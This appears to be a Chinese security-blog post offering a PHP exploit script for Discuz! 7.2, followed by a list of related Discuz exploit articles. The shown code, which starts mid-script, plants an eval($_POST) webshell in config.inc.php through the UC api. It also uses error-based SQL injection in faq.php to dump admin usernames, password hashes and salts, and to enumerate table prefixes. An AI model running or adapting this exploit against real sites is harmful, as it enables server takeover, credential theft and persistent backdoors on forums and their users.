Discuz! 7.2 SQL注入exp（getshell版）

已经有人写出一些工具了,但是感觉不怎么好用,就自己写了个。

参数：

1.可直接getshell

2.爆管理账号密码

3.爆表前缀

如果表前缀不是默认的cdb_ 只需更改代码中的 $table即可,方便快捷。

点击下载

bbs.49you.com');eval($_POST[i0day]);//';
            $cmd2='bbs.49you.com';
            $html1 = send($cmd1);
            $res1=substr($html1,-1);
            $html2 = send($cmd2);
            $res2=substr($html1,-1);
            if($res1=='1'&&$res2=='1'){
            echo "shell地址：http://".$host.$path.'config.inc.php   pass:i0day';
            }
            }else{
                echo '获取失败';
            }
        }
    }
   }

}elseif($js==2){
    $sql="action=grouppermission&gids[99]=%27&gids[100][0]=%29%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%20concat%280x5E5E5E,username,0x3a,password,0x3a,salt%29%20from%20".$table."uc_members%20limit%200,1%29,floor%28rand%280%29*2%29,0x5E%29x%20from%20information_schema.tables%20group%20by%20x%29a%29%23";
     $resp = sendpack($host,$path,$sql);
    if(strpos($resp,"^^^")!=-1){
        preg_match("/^^^(.*)^/U",$resp,$password);
        echo '密码：'.$password[1];
        }else{
            echo '表前缀可能不是默认cdb_ 请先查看表前缀！';
        }
}elseif($js==3){
    $sql="action=grouppermission&gids[99]='&gids[100][0]=)%20and%20(select%201%20from%20(select%20count(*),concat(floor(rand(0)*2),0x5E,(select%20hex(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1),0x5E)x%20from%20information_schema%20.tables%20group%20by%20x)a)%23";
     $resp = sendpack($host,$path,$sql);
    if(strpos($resp,"1^")!=-1){
        preg_match("/1^(.*)^/U",$resp,$t);

        if(strpos($t[1],"cdb_")!=-1){
            echo "表名为：".hex2str($t[1])." 表前缀为默认cdb_ 无需修改";
        }else{
            echo "表名：".hex2str($t[1]).' 不是默认表名cdb_请自行修改代码中的$table';
        }
    }else{
        echo "查看表前缀失败,Sorry";
    }
}else{
    echo "未选择脚本功能";
}


function sendpack($host,$path,$sql,$js){
       $data = "GET ".$path."/faq.php?".$sql." HTTP/1.1rn";
        $data.="Host:".$host."rn";
        $data.="User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:20.0) Gecko/20100101 Firefox/20.0rn";
         $data.="Connection: closernrn";
        //$data.=$html."rn";
        $ock=fsockopen($host,80);

        if(!$ock){
        echo "No response from ".$host;
        die();

        }
        fwrite($ock,$data);

        $resp = '';

        while (!feof($ock)) {

                $resp.=fread($ock, 1024);
                }

        return $resp;

}
function send($cmd){
    global $host,$code,$path;
    $message = "POST ".$path."/api/uc.php?code=".$code."  HTTP/1.1rn";
    $message .= "Accept: */*rn";
    $message .= "Referer: ".$host."rn";
    $message .= "Accept-Language: zh-cnrn";
    $message .= "Content-Type: application/x-www-form-urlencodedrn";
    $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)rn";
     $message .= "Host: ".$host."rn";
    $message .= "Content-Length: ".strlen($cmd)."rn";
    $message .= "Connection: Closernrn";
    $message .= $cmd;

  //var_dump($message);
    $fp = fsockopen($host, 80);
    fputs($fp, $message);

    $resp = '';

    while ($fp && !feof($fp))
        $resp .= fread($fp, 1024);

    return $resp;
}

function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
    $ckey_length = 4;

    $key = md5($key ? $key : UC_KEY);
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);

    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
     $string_length = strlen($string);

    $result = '';
    $box = range(0, 255);

    $rndkey = array();
    for($i = 0; $i  0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
             return substr($result, 26);
        } else {
                return '';
            }
    } else {
        return $keyc.str_replace('=', '', base64_encode($result));
    }

}
function hex2str($hex){
    $str = '';
    $arr = str_split($hex, 2);
    foreach($arr as $bit){
        $str .= chr(hexdec($bit));
    }
    return $str;
    }
?>

[原文地址]

相关内容：

java 实现 Discuz UC_KEY GetShell

Discuz! 7.2 SQL注入exp（getshell版）

Discuz 爆破无视验证码，PHP 调用社工库暴破 Discuz 论坛账户脚本

Discuz! X2 后台鸡肋 包含，在特定的环境下，可拿shell

Discuz! 多个版本 后台拿shell，需有安装APP权限

Discuz防注入函数绕过方法分析及没用心的修复补丁

Discuz xss利用演示( 劫持发帖,置顶帖子等)

Discuz NT 多个版本文件上传漏洞

Discuz!X2.5 Release 20120407 Getshell 0day

Discuz!NT 3.6 邀请跨站漏洞 -- 官网测试

Discuz!NT 3.6 跨站漏洞 -- 官网测试

Discuz! X1-1.5 notify_credit.php Blind SQL injection exploit

【0day】Discuz!NT 2.x - 3.5.2 用户控件 poster SQL注入漏洞

DZ-X1.5 论坛后台拿 WebShell

Discuz! 系列论坛后台怎么拿到 Webshell

【漏洞】Discuz X1.5 - 论坛本地文件包含

【漏洞】Discuz - 论坛非创始人管理员代码执行

留言评论（旧系统）：

文章来源于lcx.cc:Discuz! 7.2 SQL注入exp（getshell版）